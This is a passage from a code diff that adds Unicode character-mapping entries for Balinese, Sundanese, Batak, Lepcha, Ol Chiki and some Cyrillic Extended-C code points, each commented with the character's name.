+ ["\u1B02", "\u1B02"], /* BALINESE SIGN CECEK */
+ ["\u1B03", "\u1B03"], /* BALINESE SIGN SURANG */
+ ["\u1B04", "\u1B04"], /* BALINESE SIGN BISAH */
+ ["\u1B05", "\u1B05"], /* BALINESE LETTER AKARA */
+ ["\u1B06", "\u1B06"], /* BALINESE LETTER AKARA TEDUNG */
+ ["\u1B07", "\u1B07"], /* BALINESE LETTER IKARA */
+ ["\u1B08", "\u1B08"], /* BALINESE LETTER IKARA TEDUNG */
+ ["\u1B09", "\u1B09"], /* BALINESE LETTER UKARA */
+ ["\u1B0A", "\u1B0A"], /* BALINESE LETTER UKARA TEDUNG */
+ ["\u1B0B", "\u1B0B"], /* BALINESE LETTER RA REPA */
+ ["\u1B0C", "\u1B0C"], /* BALINESE LETTER RA REPA TEDUNG */
+ ["\u1B0D", "\u1B0D"], /* BALINESE LETTER LA LENGA */
+ ["\u1B0E", "\u1B0E"], /* BALINESE LETTER LA LENGA TEDUNG */
+ ["\u1B0F", "\u1B0F"], /* BALINESE LETTER EKARA */
+ ["\u1B10", "\u1B10"], /* BALINESE LETTER AIKARA */
+ ["\u1B11", "\u1B11"], /* BALINESE LETTER OKARA */
+ ["\u1B12", "\u1B12"], /* BALINESE LETTER OKARA TEDUNG */
+ ["\u1B13", "\u1B13"], /* BALINESE LETTER KA */
+ ["\u1B14", "\u1B14"], /* BALINESE LETTER KA MAHAPRANA */
+ ["\u1B15", "\u1B15"], /* BALINESE LETTER GA */
+ ["\u1B16", "\u1B16"], /* BALINESE LETTER GA GORA */
+ ["\u1B17", "\u1B17"], /* BALINESE LETTER NGA */
+ ["\u1B18", "\u1B18"], /* BALINESE LETTER CA */
+ ["\u1B19", "\u1B19"], /* BALINESE LETTER CA LACA */
+ ["\u1B1A", "\u1B1A"], /* BALINESE LETTER JA */
+ ["\u1B1B", "\u1B1B"], /* BALINESE LETTER JA JERA */
+ ["\u1B1C", "\u1B1C"], /* BALINESE LETTER NYA */
+ ["\u1B1D", "\u1B1D"], /* BALINESE LETTER TA LATIK */
+ ["\u1B1E", "\u1B1E"], /* BALINESE LETTER TA MURDA MAHAPRANA */
+ ["\u1B1F", "\u1B1F"], /* BALINESE LETTER DA MURDA ALPAPRANA */
+ ["\u1B20", "\u1B20"], /* BALINESE LETTER DA MURDA MAHAPRANA */
+ ["\u1B21", "\u1B21"], /* BALINESE LETTER NA RAMBAT */
+ ["\u1B22", "\u1B22"], /* BALINESE LETTER TA */
+ ["\u1B23", "\u1B23"], /* BALINESE LETTER TA TAWA */
+ ["\u1B24", "\u1B24"], /* BALINESE LETTER DA */
+ ["\u1B25", "\u1B25"], /* BALINESE LETTER DA MADU */
+ ["\u1B26", "\u1B26"], /* BALINESE LETTER NA */
+ ["\u1B27", "\u1B27"], /* BALINESE LETTER PA */
+ ["\u1B28", "\u1B28"], /* BALINESE LETTER PA KAPAL */
+ ["\u1B29", "\u1B29"], /* BALINESE LETTER BA */
+ ["\u1B2A", "\u1B2A"], /* BALINESE LETTER BA KEMBANG */
+ ["\u1B2B", "\u1B2B"], /* BALINESE LETTER MA */
+ ["\u1B2C", "\u1B2C"], /* BALINESE LETTER YA */
+ ["\u1B2D", "\u1B2D"], /* BALINESE LETTER RA */
+ ["\u1B2E", "\u1B2E"], /* BALINESE LETTER LA */
+ ["\u1B2F", "\u1B2F"], /* BALINESE LETTER WA */
+ ["\u1B30", "\u1B30"], /* BALINESE LETTER SA SAGA */
+ ["\u1B31", "\u1B31"], /* BALINESE LETTER SA SAPA */
+ ["\u1B32", "\u1B32"], /* BALINESE LETTER SA */
+ ["\u1B33", "\u1B33"], /* BALINESE LETTER HA */
+ ["\u1B34", "\u1B34"], /* BALINESE SIGN REREKAN */
+ ["\u1B35", "\u1B35"], /* BALINESE VOWEL SIGN TEDUNG */
+ ["\u1B36", "\u1B36"], /* BALINESE VOWEL SIGN ULU */
+ ["\u1B37", "\u1B37"], /* BALINESE VOWEL SIGN ULU SARI */
+ ["\u1B38", "\u1B38"], /* BALINESE VOWEL SIGN SUKU */
+ ["\u1B39", "\u1B39"], /* BALINESE VOWEL SIGN SUKU ILUT */
+ ["\u1B3A", "\u1B3A"], /* BALINESE VOWEL SIGN RA REPA */
+ ["\u1B3B", "\u1B3B"], /* BALINESE VOWEL SIGN RA REPA TEDUNG */
+ ["\u1B3C", "\u1B3C"], /* BALINESE VOWEL SIGN LA LENGA */
+ ["\u1B3D", "\u1B3D"], /* BALINESE VOWEL SIGN LA LENGA TEDUNG */
+ ["\u1B3E", "\u1B3E"], /* BALINESE VOWEL SIGN TALING */
+ ["\u1B3F", "\u1B3F"], /* BALINESE VOWEL SIGN TALING REPA */
+ ["\u1B40", "\u1B40"], /* BALINESE VOWEL SIGN TALING TEDUNG */
+ ["\u1B41", "\u1B41"], /* BALINESE VOWEL SIGN TALING REPA TEDUNG */
+ ["\u1B42", "\u1B42"], /* BALINESE VOWEL SIGN PEPET */
+ ["\u1B43", "\u1B43"], /* BALINESE VOWEL SIGN PEPET TEDUNG */
+ ["\u1B44", "\u1B44"], /* BALINESE ADEG ADEG */
+ ["\u1B45", "\u1B45"], /* BALINESE LETTER KAF SASAK */
+ ["\u1B46", "\u1B46"], /* BALINESE LETTER KHOT SASAK */
+ ["\u1B47", "\u1B47"], /* BALINESE LETTER TZIR SASAK */
+ ["\u1B48", "\u1B48"], /* BALINESE LETTER EF SASAK */
+ ["\u1B49", "\u1B49"], /* BALINESE LETTER VE SASAK */
+ ["\u1B4A", "\u1B4A"], /* BALINESE LETTER ZAL SASAK */
+ ["\u1B4B", "\u1B4B"], /* BALINESE LETTER ASYURA SASAK */
+ ["\u1B4C", "\u1B4C"], /* BALINESE LETTER ARCHAIC JNYA */
+ ["\u1B4D", "\u1B4D"],
+ ["\u1B4E", "\u1B4E"],
+ ["\u1B4F", "\u1B4F"],
+ ["\u1B50", "\u1B50"], /* BALINESE DIGIT ZERO */
+ ["\u1B51", "\u1B51"], /* BALINESE DIGIT ONE */
+ ["\u1B52", "\u1B52"], /* BALINESE DIGIT TWO */
+ ["\u1B53", "\u1B53"], /* BALINESE DIGIT THREE */
+ ["\u1B54", "\u1B54"], /* BALINESE DIGIT FOUR */
+ ["\u1B55", "\u1B55"], /* BALINESE DIGIT FIVE */
+ ["\u1B56", "\u1B56"], /* BALINESE DIGIT SIX */
+ ["\u1B57", "\u1B57"], /* BALINESE DIGIT SEVEN */
+ ["\u1B58", "\u1B58"], /* BALINESE DIGIT EIGHT */
+ ["\u1B59", "\u1B59"], /* BALINESE DIGIT NINE */
+ ["\u1B5A", "\u1B5A"], /* BALINESE PANTI */
+ ["\u1B5B", "\u1B5B"], /* BALINESE PAMADA */
+ ["\u1B5C", "\u1B5C"], /* BALINESE WINDU */
+ ["\u1B5D", "\u1B5D"], /* BALINESE CARIK PAMUNGKAH */
+ ["\u1B5E", "\u1B5E"], /* BALINESE CARIK SIKI */
+ ["\u1B5F", "\u1B5F"], /* BALINESE CARIK PAREREN */
+ ["\u1B60", "\u1B60"], /* BALINESE PAMENENG */
+ ["\u1B61", "\u1B61"], /* BALINESE MUSICAL SYMBOL DONG */
+ ["\u1B62", "\u1B62"], /* BALINESE MUSICAL SYMBOL DENG */
+ ["\u1B63", "\u1B63"], /* BALINESE MUSICAL SYMBOL DUNG */
+ ["\u1B64", "\u1B64"], /* BALINESE MUSICAL SYMBOL DANG */
+ ["\u1B65", "\u1B65"], /* BALINESE MUSICAL SYMBOL DANG SURANG */
+ ["\u1B66", "\u1B66"], /* BALINESE MUSICAL SYMBOL DING */
+ ["\u1B67", "\u1B67"], /* BALINESE MUSICAL SYMBOL DAENG */
+ ["\u1B68", "\u1B68"], /* BALINESE MUSICAL SYMBOL DEUNG */
+ ["\u1B69", "\u1B69"], /* BALINESE MUSICAL SYMBOL DAING */
+ ["\u1B6A", "\u1B6A"], /* BALINESE MUSICAL SYMBOL DANG GEDE */
+ ["\u1B6B", "\u1B6B"], /* BALINESE MUSICAL SYMBOL COMBINING TEGEH */
+ ["\u1B6C", "\u1B6C"], /* BALINESE MUSICAL SYMBOL COMBINING ENDEP */
+ ["\u1B6D", "\u1B6D"], /* BALINESE MUSICAL SYMBOL COMBINING KEMPUL */
+ ["\u1B6E", "\u1B6E"], /* BALINESE MUSICAL SYMBOL COMBINING KEMPLI */
+ ["\u1B6F", "\u1B6F"], /* BALINESE MUSICAL SYMBOL COMBINING JEGOGAN */
+ ["\u1B70", "\u1B70"], /* BALINESE MUSICAL SYMBOL COMBINING KEMPUL WITH JEGOGAN */
+ ["\u1B71", "\u1B71"], /* BALINESE MUSICAL SYMBOL COMBINING KEMPLI WITH JEGOGAN */
+ ["\u1B72", "\u1B72"], /* BALINESE MUSICAL SYMBOL COMBINING BENDE */
+ ["\u1B73", "\u1B73"], /* BALINESE MUSICAL SYMBOL COMBINING GONG */
+ ["\u1B74", "\u1B74"], /* BALINESE MUSICAL SYMBOL RIGHT-HAND OPEN DUG */
+ ["\u1B75", "\u1B75"], /* BALINESE MUSICAL SYMBOL RIGHT-HAND OPEN DAG */
+ ["\u1B76", "\u1B76"], /* BALINESE MUSICAL SYMBOL RIGHT-HAND CLOSED TUK */
+ ["\u1B77", "\u1B77"], /* BALINESE MUSICAL SYMBOL RIGHT-HAND CLOSED TAK */
+ ["\u1B78", "\u1B78"], /* BALINESE MUSICAL SYMBOL LEFT-HAND OPEN PANG */
+ ["\u1B79", "\u1B79"], /* BALINESE MUSICAL SYMBOL LEFT-HAND OPEN PUNG */
+ ["\u1B7A", "\u1B7A"], /* BALINESE MUSICAL SYMBOL LEFT-HAND CLOSED PLAK */
+ ["\u1B7B", "\u1B7B"], /* BALINESE MUSICAL SYMBOL LEFT-HAND CLOSED PLUK */
+ ["\u1B7C", "\u1B7C"], /* BALINESE MUSICAL SYMBOL LEFT-HAND OPEN PING */
+ ["\u1B7D", "\u1B7D"], /* BALINESE PANTI LANTANG */
+ ["\u1B7E", "\u1B7E"], /* BALINESE PAMADA LANTANG */
+ ["\u1B7F", "\u1B7F"],
+ ["\u1B80", "\u1B80"], /* SUNDANESE SIGN PANYECEK */
+ ["\u1B81", "\u1B81"], /* SUNDANESE SIGN PANGLAYAR */
+ ["\u1B82", "\u1B82"], /* SUNDANESE SIGN PANGWISAD */
+ ["\u1B83", "\u1B83"], /* SUNDANESE LETTER A */
+ ["\u1B84", "\u1B84"], /* SUNDANESE LETTER I */
+ ["\u1B85", "\u1B85"], /* SUNDANESE LETTER U */
+ ["\u1B86", "\u1B86"], /* SUNDANESE LETTER AE */
+ ["\u1B87", "\u1B87"], /* SUNDANESE LETTER O */
+ ["\u1B88", "\u1B88"], /* SUNDANESE LETTER E */
+ ["\u1B89", "\u1B89"], /* SUNDANESE LETTER EU */
+ ["\u1B8A", "\u1B8A"], /* SUNDANESE LETTER KA */
+ ["\u1B8B", "\u1B8B"], /* SUNDANESE LETTER QA */
+ ["\u1B8C", "\u1B8C"], /* SUNDANESE LETTER GA */
+ ["\u1B8D", "\u1B8D"], /* SUNDANESE LETTER NGA */
+ ["\u1B8E", "\u1B8E"], /* SUNDANESE LETTER CA */
+ ["\u1B8F", "\u1B8F"], /* SUNDANESE LETTER JA */
+ ["\u1B90", "\u1B90"], /* SUNDANESE LETTER ZA */
+ ["\u1B91", "\u1B91"], /* SUNDANESE LETTER NYA */
+ ["\u1B92", "\u1B92"], /* SUNDANESE LETTER TA */
+ ["\u1B93", "\u1B93"], /* SUNDANESE LETTER DA */
+ ["\u1B94", "\u1B94"], /* SUNDANESE LETTER NA */
+ ["\u1B95", "\u1B95"], /* SUNDANESE LETTER PA */
+ ["\u1B96", "\u1B96"], /* SUNDANESE LETTER FA */
+ ["\u1B97", "\u1B97"], /* SUNDANESE LETTER VA */
+ ["\u1B98", "\u1B98"], /* SUNDANESE LETTER BA */
+ ["\u1B99", "\u1B99"], /* SUNDANESE LETTER MA */
+ ["\u1B9A", "\u1B9A"], /* SUNDANESE LETTER YA */
+ ["\u1B9B", "\u1B9B"], /* SUNDANESE LETTER RA */
+ ["\u1B9C", "\u1B9C"], /* SUNDANESE LETTER LA */
+ ["\u1B9D", "\u1B9D"], /* SUNDANESE LETTER WA */
+ ["\u1B9E", "\u1B9E"], /* SUNDANESE LETTER SA */
+ ["\u1B9F", "\u1B9F"], /* SUNDANESE LETTER XA */
+ ["\u1BA0", "\u1BA0"], /* SUNDANESE LETTER HA */
+ ["\u1BA1", "\u1BA1"], /* SUNDANESE CONSONANT SIGN PAMINGKAL */
+ ["\u1BA2", "\u1BA2"], /* SUNDANESE CONSONANT SIGN PANYAKRA */
+ ["\u1BA3", "\u1BA3"], /* SUNDANESE CONSONANT SIGN PANYIKU */
+ ["\u1BA4", "\u1BA4"], /* SUNDANESE VOWEL SIGN PANGHULU */
+ ["\u1BA5", "\u1BA5"], /* SUNDANESE VOWEL SIGN PANYUKU */
+ ["\u1BA6", "\u1BA6"], /* SUNDANESE VOWEL SIGN PANAELAENG */
+ ["\u1BA7", "\u1BA7"], /* SUNDANESE VOWEL SIGN PANOLONG */
+ ["\u1BA8", "\u1BA8"], /* SUNDANESE VOWEL SIGN PAMEPET */
+ ["\u1BA9", "\u1BA9"], /* SUNDANESE VOWEL SIGN PANEULEUNG */
+ ["\u1BAA", "\u1BAA"], /* SUNDANESE SIGN PAMAAEH */
+ ["\u1BAB", "\u1BAB"], /* SUNDANESE SIGN VIRAMA */
+ ["\u1BAC", "\u1BAC"], /* SUNDANESE CONSONANT SIGN PASANGAN MA */
+ ["\u1BAD", "\u1BAD"], /* SUNDANESE CONSONANT SIGN PASANGAN WA */
+ ["\u1BAE", "\u1BAE"], /* SUNDANESE LETTER KHA */
+ ["\u1BAF", "\u1BAF"], /* SUNDANESE LETTER SYA */
+ ["\u1BB0", "\u1BB0"], /* SUNDANESE DIGIT ZERO */
+ ["\u1BB1", "\u1BB1"], /* SUNDANESE DIGIT ONE */
+ ["\u1BB2", "\u1BB2"], /* SUNDANESE DIGIT TWO */
+ ["\u1BB3", "\u1BB3"], /* SUNDANESE DIGIT THREE */
+ ["\u1BB4", "\u1BB4"], /* SUNDANESE DIGIT FOUR */
+ ["\u1BB5", "\u1BB5"], /* SUNDANESE DIGIT FIVE */
+ ["\u1BB6", "\u1BB6"], /* SUNDANESE DIGIT SIX */
+ ["\u1BB7", "\u1BB7"], /* SUNDANESE DIGIT SEVEN */
+ ["\u1BB8", "\u1BB8"], /* SUNDANESE DIGIT EIGHT */
+ ["\u1BB9", "\u1BB9"], /* SUNDANESE DIGIT NINE */
+ ["\u1BBA", "\u1BBA"], /* SUNDANESE AVAGRAHA */
+ ["\u1BBB", "\u1BBB"], /* SUNDANESE LETTER REU */
+ ["\u1BBC", "\u1BBC"], /* SUNDANESE LETTER LEU */
+ ["\u1BBD", "\u1BBD"], /* SUNDANESE LETTER BHA */
+ ["\u1BBE", "\u1BBE"], /* SUNDANESE LETTER FINAL K */
+ ["\u1BBF", "\u1BBF"], /* SUNDANESE LETTER FINAL M */
+ ["\u1BC0", "\u1BC0"], /* BATAK LETTER A */
+ ["\u1BC1", "\u1BC1"], /* BATAK LETTER SIMALUNGUN A */
+ ["\u1BC2", "\u1BC2"], /* BATAK LETTER HA */
+ ["\u1BC3", "\u1BC3"], /* BATAK LETTER SIMALUNGUN HA */
+ ["\u1BC4", "\u1BC4"], /* BATAK LETTER MANDAILING HA */
+ ["\u1BC5", "\u1BC5"], /* BATAK LETTER BA */
+ ["\u1BC6", "\u1BC6"], /* BATAK LETTER KARO BA */
+ ["\u1BC7", "\u1BC7"], /* BATAK LETTER PA */
+ ["\u1BC8", "\u1BC8"], /* BATAK LETTER SIMALUNGUN PA */
+ ["\u1BC9", "\u1BC9"], /* BATAK LETTER NA */
+ ["\u1BCA", "\u1BCA"], /* BATAK LETTER MANDAILING NA */
+ ["\u1BCB", "\u1BCB"], /* BATAK LETTER WA */
+ ["\u1BCC", "\u1BCC"], /* BATAK LETTER SIMALUNGUN WA */
+ ["\u1BCD", "\u1BCD"], /* BATAK LETTER PAKPAK WA */
+ ["\u1BCE", "\u1BCE"], /* BATAK LETTER GA */
+ ["\u1BCF", "\u1BCF"], /* BATAK LETTER SIMALUNGUN GA */
+ ["\u1BD0", "\u1BD0"], /* BATAK LETTER JA */
+ ["\u1BD1", "\u1BD1"], /* BATAK LETTER DA */
+ ["\u1BD2", "\u1BD2"], /* BATAK LETTER RA */
+ ["\u1BD3", "\u1BD3"], /* BATAK LETTER SIMALUNGUN RA */
+ ["\u1BD4", "\u1BD4"], /* BATAK LETTER MA */
+ ["\u1BD5", "\u1BD5"], /* BATAK LETTER SIMALUNGUN MA */
+ ["\u1BD6", "\u1BD6"], /* BATAK LETTER SOUTHERN TA */
+ ["\u1BD7", "\u1BD7"], /* BATAK LETTER NORTHERN TA */
+ ["\u1BD8", "\u1BD8"], /* BATAK LETTER SA */
+ ["\u1BD9", "\u1BD9"], /* BATAK LETTER SIMALUNGUN SA */
+ ["\u1BDA", "\u1BDA"], /* BATAK LETTER MANDAILING SA */
+ ["\u1BDB", "\u1BDB"], /* BATAK LETTER YA */
+ ["\u1BDC", "\u1BDC"], /* BATAK LETTER SIMALUNGUN YA */
+ ["\u1BDD", "\u1BDD"], /* BATAK LETTER NGA */
+ ["\u1BDE", "\u1BDE"], /* BATAK LETTER LA */
+ ["\u1BDF", "\u1BDF"], /* BATAK LETTER SIMALUNGUN LA */
+ ["\u1BE0", "\u1BE0"], /* BATAK LETTER NYA */
+ ["\u1BE1", "\u1BE1"], /* BATAK LETTER CA */
+ ["\u1BE2", "\u1BE2"], /* BATAK LETTER NDA */
+ ["\u1BE3", "\u1BE3"], /* BATAK LETTER MBA */
+ ["\u1BE4", "\u1BE4"], /* BATAK LETTER I */
+ ["\u1BE5", "\u1BE5"], /* BATAK LETTER U */
+ ["\u1BE6", "\u1BE6"], /* BATAK SIGN TOMPI */
+ ["\u1BE7", "\u1BE7"], /* BATAK VOWEL SIGN E */
+ ["\u1BE8", "\u1BE8"], /* BATAK VOWEL SIGN PAKPAK E */
+ ["\u1BE9", "\u1BE9"], /* BATAK VOWEL SIGN EE */
+ ["\u1BEA", "\u1BEA"], /* BATAK VOWEL SIGN I */
+ ["\u1BEB", "\u1BEB"], /* BATAK VOWEL SIGN KARO I */
+ ["\u1BEC", "\u1BEC"], /* BATAK VOWEL SIGN O */
+ ["\u1BED", "\u1BED"], /* BATAK VOWEL SIGN KARO O */
+ ["\u1BEE", "\u1BEE"], /* BATAK VOWEL SIGN U */
+ ["\u1BEF", "\u1BEF"], /* BATAK VOWEL SIGN U FOR SIMALUNGUN SA */
+ ["\u1BF0", "\u1BF0"], /* BATAK CONSONANT SIGN NG */
+ ["\u1BF1", "\u1BF1"], /* BATAK CONSONANT SIGN H */
+ ["\u1BF2", "\u1BF2"], /* BATAK PANGOLAT */
+ ["\u1BF3", "\u1BF3"], /* BATAK PANONGONAN */
+ ["\u1BF4", "\u1BF4"],
+ ["\u1BF5", "\u1BF5"],
+ ["\u1BF6", "\u1BF6"],
+ ["\u1BF7", "\u1BF7"],
+ ["\u1BF8", "\u1BF8"],
+ ["\u1BF9", "\u1BF9"],
+ ["\u1BFA", "\u1BFA"],
+ ["\u1BFB", "\u1BFB"],
+ ["\u1BFC", "\u1BFC"], /* BATAK SYMBOL BINDU NA METEK */
+ ["\u1BFD", "\u1BFD"], /* BATAK SYMBOL BINDU PINARBORAS */
+ ["\u1BFE", "\u1BFE"], /* BATAK SYMBOL BINDU JUDUL */
+ ["\u1BFF", "\u1BFF"], /* BATAK SYMBOL BINDU PANGOLAT */
+ ["\u1C00", "\u1C00"], /* LEPCHA LETTER KA */
+ ["\u1C01", "\u1C01"], /* LEPCHA LETTER KLA */
+ ["\u1C02", "\u1C02"], /* LEPCHA LETTER KHA */
+ ["\u1C03", "\u1C03"], /* LEPCHA LETTER GA */
+ ["\u1C04", "\u1C04"], /* LEPCHA LETTER GLA */
+ ["\u1C05", "\u1C05"], /* LEPCHA LETTER NGA */
+ ["\u1C06", "\u1C06"], /* LEPCHA LETTER CA */
+ ["\u1C07", "\u1C07"], /* LEPCHA LETTER CHA */
+ ["\u1C08", "\u1C08"], /* LEPCHA LETTER JA */
+ ["\u1C09", "\u1C09"], /* LEPCHA LETTER NYA */
+ ["\u1C0A", "\u1C0A"], /* LEPCHA LETTER TA */
+ ["\u1C0B", "\u1C0B"], /* LEPCHA LETTER THA */
+ ["\u1C0C", "\u1C0C"], /* LEPCHA LETTER DA */
+ ["\u1C0D", "\u1C0D"], /* LEPCHA LETTER NA */
+ ["\u1C0E", "\u1C0E"], /* LEPCHA LETTER PA */
+ ["\u1C0F", "\u1C0F"], /* LEPCHA LETTER PLA */
+ ["\u1C10", "\u1C10"], /* LEPCHA LETTER PHA */
+ ["\u1C11", "\u1C11"], /* LEPCHA LETTER FA */
+ ["\u1C12", "\u1C12"], /* LEPCHA LETTER FLA */
+ ["\u1C13", "\u1C13"], /* LEPCHA LETTER BA */
+ ["\u1C14", "\u1C14"], /* LEPCHA LETTER BLA */
+ ["\u1C15", "\u1C15"], /* LEPCHA LETTER MA */
+ ["\u1C16", "\u1C16"], /* LEPCHA LETTER MLA */
+ ["\u1C17", "\u1C17"], /* LEPCHA LETTER TSA */
+ ["\u1C18", "\u1C18"], /* LEPCHA LETTER TSHA */
+ ["\u1C19", "\u1C19"], /* LEPCHA LETTER DZA */
+ ["\u1C1A", "\u1C1A"], /* LEPCHA LETTER YA */
+ ["\u1C1B", "\u1C1B"], /* LEPCHA LETTER RA */
+ ["\u1C1C", "\u1C1C"], /* LEPCHA LETTER LA */
+ ["\u1C1D", "\u1C1D"], /* LEPCHA LETTER HA */
+ ["\u1C1E", "\u1C1E"], /* LEPCHA LETTER HLA */
+ ["\u1C1F", "\u1C1F"], /* LEPCHA LETTER VA */
+ ["\u1C20", "\u1C20"], /* LEPCHA LETTER SA */
+ ["\u1C21", "\u1C21"], /* LEPCHA LETTER SHA */
+ ["\u1C22", "\u1C22"], /* LEPCHA LETTER WA */
+ ["\u1C23", "\u1C23"], /* LEPCHA LETTER A */
+ ["\u1C24", "\u1C24"], /* LEPCHA SUBJOINED LETTER YA */
+ ["\u1C25", "\u1C25"], /* LEPCHA SUBJOINED LETTER RA */
+ ["\u1C26", "\u1C26"], /* LEPCHA VOWEL SIGN AA */
+ ["\u1C27", "\u1C27"], /* LEPCHA VOWEL SIGN I */
+ ["\u1C28", "\u1C28"], /* LEPCHA VOWEL SIGN O */
+ ["\u1C29", "\u1C29"], /* LEPCHA VOWEL SIGN OO */
+ ["\u1C2A", "\u1C2A"], /* LEPCHA VOWEL SIGN U */
+ ["\u1C2B", "\u1C2B"], /* LEPCHA VOWEL SIGN UU */
+ ["\u1C2C", "\u1C2C"], /* LEPCHA VOWEL SIGN E */
+ ["\u1C2D", "\u1C2D"], /* LEPCHA CONSONANT SIGN K */
+ ["\u1C2E", "\u1C2E"], /* LEPCHA CONSONANT SIGN M */
+ ["\u1C2F", "\u1C2F"], /* LEPCHA CONSONANT SIGN L */
+ ["\u1C30", "\u1C30"], /* LEPCHA CONSONANT SIGN N */
+ ["\u1C31", "\u1C31"], /* LEPCHA CONSONANT SIGN P */
+ ["\u1C32", "\u1C32"], /* LEPCHA CONSONANT SIGN R */
+ ["\u1C33", "\u1C33"], /* LEPCHA CONSONANT SIGN T */
+ ["\u1C34", "\u1C34"], /* LEPCHA CONSONANT SIGN NYIN-DO */
+ ["\u1C35", "\u1C35"], /* LEPCHA CONSONANT SIGN KANG */
+ ["\u1C36", "\u1C36"], /* LEPCHA SIGN RAN */
+ ["\u1C37", "\u1C37"], /* LEPCHA SIGN NUKTA */
+ ["\u1C38", "\u1C38"],
+ ["\u1C39", "\u1C39"],
+ ["\u1C3A", "\u1C3A"],
+ ["\u1C3B", "\u1C3B"], /* LEPCHA PUNCTUATION TA-ROL */
+ ["\u1C3C", "\u1C3C"], /* LEPCHA PUNCTUATION NYET THYOOM TA-ROL */
+ ["\u1C3D", "\u1C3D"], /* LEPCHA PUNCTUATION CER-WA */
+ ["\u1C3E", "\u1C3E"], /* LEPCHA PUNCTUATION TSHOOK CER-WA */
+ ["\u1C3F", "\u1C3F"], /* LEPCHA PUNCTUATION TSHOOK */
+ ["\u1C40", "\u1C40"], /* LEPCHA DIGIT ZERO */
+ ["\u1C41", "\u1C41"], /* LEPCHA DIGIT ONE */
+ ["\u1C42", "\u1C42"], /* LEPCHA DIGIT TWO */
+ ["\u1C43", "\u1C43"], /* LEPCHA DIGIT THREE */
+ ["\u1C44", "\u1C44"], /* LEPCHA DIGIT FOUR */
+ ["\u1C45", "\u1C45"], /* LEPCHA DIGIT FIVE */
+ ["\u1C46", "\u1C46"], /* LEPCHA DIGIT SIX */
+ ["\u1C47", "\u1C47"], /* LEPCHA DIGIT SEVEN */
+ ["\u1C48", "\u1C48"], /* LEPCHA DIGIT EIGHT */
+ ["\u1C49", "\u1C49"], /* LEPCHA DIGIT NINE */
+ ["\u1C4A", "\u1C4A"],
+ ["\u1C4B", "\u1C4B"],
+ ["\u1C4C", "\u1C4C"],
+ ["\u1C4D", "\u1C4D"], /* LEPCHA LETTER TTA */
+ ["\u1C4E", "\u1C4E"], /* LEPCHA LETTER TTHA */
+ ["\u1C4F", "\u1C4F"], /* LEPCHA LETTER DDA */
+ ["\u1C50", "\u1C50"], /* OL CHIKI DIGIT ZERO */
+ ["\u1C51", "\u1C51"], /* OL CHIKI DIGIT ONE */
+ ["\u1C52", "\u1C52"], /* OL CHIKI DIGIT TWO */
+ ["\u1C53", "\u1C53"], /* OL CHIKI DIGIT THREE */
+ ["\u1C54", "\u1C54"], /* OL CHIKI DIGIT FOUR */
+ ["\u1C55", "\u1C55"], /* OL CHIKI DIGIT FIVE */
+ ["\u1C56", "\u1C56"], /* OL CHIKI DIGIT SIX */
+ ["\u1C57", "\u1C57"], /* OL CHIKI DIGIT SEVEN */
+ ["\u1C58", "\u1C58"], /* OL CHIKI DIGIT EIGHT */
+ ["\u1C59", "\u1C59"], /* OL CHIKI DIGIT NINE */
+ ["\u1C5A", "\u1C5A"], /* OL CHIKI LETTER LA */
+ ["\u1C5B", "\u1C5B"], /* OL CHIKI LETTER AT */
+ ["\u1C5C", "\u1C5C"], /* OL CHIKI LETTER AG */
+ ["\u1C5D", "\u1C5D"], /* OL CHIKI LETTER ANG */
+ ["\u1C5E", "\u1C5E"], /* OL CHIKI LETTER AL */
+ ["\u1C5F", "\u1C5F"], /* OL CHIKI LETTER LAA */
+ ["\u1C60", "\u1C60"], /* OL CHIKI LETTER AAK */
+ ["\u1C61", "\u1C61"], /* OL CHIKI LETTER AAJ */
+ ["\u1C62", "\u1C62"], /* OL CHIKI LETTER AAM */
+ ["\u1C63", "\u1C63"], /* OL CHIKI LETTER AAW */
+ ["\u1C64", "\u1C64"], /* OL CHIKI LETTER LI */
+ ["\u1C65", "\u1C65"], /* OL CHIKI LETTER IS */
+ ["\u1C66", "\u1C66"], /* OL CHIKI LETTER IH */
+ ["\u1C67", "\u1C67"], /* OL CHIKI LETTER INY */
+ ["\u1C68", "\u1C68"], /* OL CHIKI LETTER IR */
+ ["\u1C69", "\u1C69"], /* OL CHIKI LETTER LU */
+ ["\u1C6A", "\u1C6A"], /* OL CHIKI LETTER UC */
+ ["\u1C6B", "\u1C6B"], /* OL CHIKI LETTER UD */
+ ["\u1C6C", "\u1C6C"], /* OL CHIKI LETTER UNN */
+ ["\u1C6D", "\u1C6D"], /* OL CHIKI LETTER UY */
+ ["\u1C6E", "\u1C6E"], /* OL CHIKI LETTER LE */
+ ["\u1C6F", "\u1C6F"], /* OL CHIKI LETTER EP */
+ ["\u1C70", "\u1C70"], /* OL CHIKI LETTER EDD */
+ ["\u1C71", "\u1C71"], /* OL CHIKI LETTER EN */
+ ["\u1C72", "\u1C72"], /* OL CHIKI LETTER ERR */
+ ["\u1C73", "\u1C73"], /* OL CHIKI LETTER LO */
+ ["\u1C74", "\u1C74"], /* OL CHIKI LETTER OTT */
+ ["\u1C75", "\u1C75"], /* OL CHIKI LETTER OB */
+ ["\u1C76", "\u1C76"], /* OL CHIKI LETTER OV */
+ ["\u1C77", "\u1C77"], /* OL CHIKI LETTER OH */
+ ["\u1C78", "\u1C78"], /* OL CHIKI MU TTUDDAG */
+ ["\u1C79", "\u1C79"], /* OL CHIKI GAAHLAA TTUDDAAG */
+ ["\u1C7A", "\u1C7A"], /* OL CHIKI MU-GAAHLAA TTUDDAAG */
+ ["\u1C7B", "\u1C7B"], /* OL CHIKI RELAA */
+ ["\u1C7C", "\u1C7C"], /* OL CHIKI PHAARKAA */
+ ["\u1C7D", "\u1C7D"], /* OL CHIKI AHAD */
+ ["\u1C7E", "\u1C7E"], /* OL CHIKI PUNCTUATION MUCAAD */
+ ["\u1C7F", "\u1C7F"], /* OL CHIKI PUNCTUATION DOUBLE MUCAAD */
+ ["\u0412", "\u1C80"], /* CYRILLIC SMALL LETTER ROUNDED VE */
+ ["\u0414", "\u1C81"], /* CYRILLIC SMALL LETTER LONG-LEGGED DE */
+ ["\u041E", "\u1C82"], /* CYRILLIC SMALL LETTER NARROW O */
+ ["\u0421", "\u1C83"], /* CYRILLIC SMALL LETTER WIDE ES */
+ ["\u0422", "\u1C84"], /* CYRILLIC SMALL LETTER TALL TE */
+ ["\u0422", "\u1C85"], /* CYRILLIC SMALL LETTER THREE-LEGGED TE */
+ ["\u042A", "\u1C86"], /* CYRILLIC SMALL LETTER TALL HARD SIGN */
+ ["\u0462", "\u1C87"], /* CYRILLIC SMALL LETTER TALL YAT */
+ ["\uA64A", "\u1C88"], /* CYRILLIC SMALL LETTER UNBLENDED UK */
